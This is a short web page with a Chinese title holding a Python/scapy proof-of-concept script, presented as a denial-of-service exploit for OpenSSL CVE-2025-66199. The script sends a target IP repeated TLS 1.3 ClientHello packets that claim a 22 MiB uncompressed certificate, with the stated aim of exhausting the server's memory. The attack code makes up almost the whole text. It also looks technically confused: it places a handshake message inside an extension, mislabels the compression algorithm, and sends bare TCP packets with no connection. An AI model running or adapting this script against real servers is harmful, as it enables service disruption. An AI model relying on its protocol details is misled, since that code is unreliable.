OpenSSL CVE-2025-66199 TLS 1.3证书压缩DoS漏洞

# CVE-2025-66199 OpenSSL TLS 1.3 Certificate Compression DoS PoC # This PoC demonstrates sending a malicious CompressedCertificate message # Requires: Python 3.x with scapy from scapy.all import * from scapy.layers.tls.all import * import struct def create_malicious_tls13_handshake(): """ Create a TLS 1.3 ClientHello with malicious CompressedCertificate extension """ # Large uncompressed certificate length (close to 22 MiB) MALICIOUS_UNCOMPRESSED_LEN = 22 * 1024 * 1024 # 23068672 bytes # Compressed data - minimal compression compressed_data = b'\x00' * 1024 # Build CompressedCertificate message # Format: compression algorithm (1) + uncompressed length (4) + compressed data compressed_cert = struct.pack('!B', 0) # compression algorithm (brotli) compressed_cert += struct.pack('!I', MALICIOUS_UNCOMPRESSED_LEN) # Uncompressed length compressed_cert += compressed_data # TLS 1.3 Extension: compressed_certificate(0x0022) ext = TLSExtCompressedCertificate() ext.compressed_cert = compressed_cert # Build ClientHello with the malicious extension client_hello = TLS(client_hello=TLSClientHello( version=0x0304, extensions=[ext] )) return bytes(client_hello) def exploit(target_ip, target_port=443): """ Send malicious TLS 1.3 ClientHello to trigger memory allocation """ pkt = IP(dst=target_ip)/TCP(dport=target_port, sport=RandShort(), flags='PA')/ create_malicious_tls13_handshake() print(f"[*] Sending malicious TLS 1.3 ClientHello to {target_ip}:{target_port}") print(f"[*] Uncompressed certificate length: 22 MiB") # Send multiple packets to exhaust memory for i in range(100): send(pkt, verbose=0) if i % 10 == 0: print(f"[*] Sent {i} packets...") print(f"[+] Attack completed. Target may have allocated ~2.2 GB heap memory.") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-66199_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit(target, port)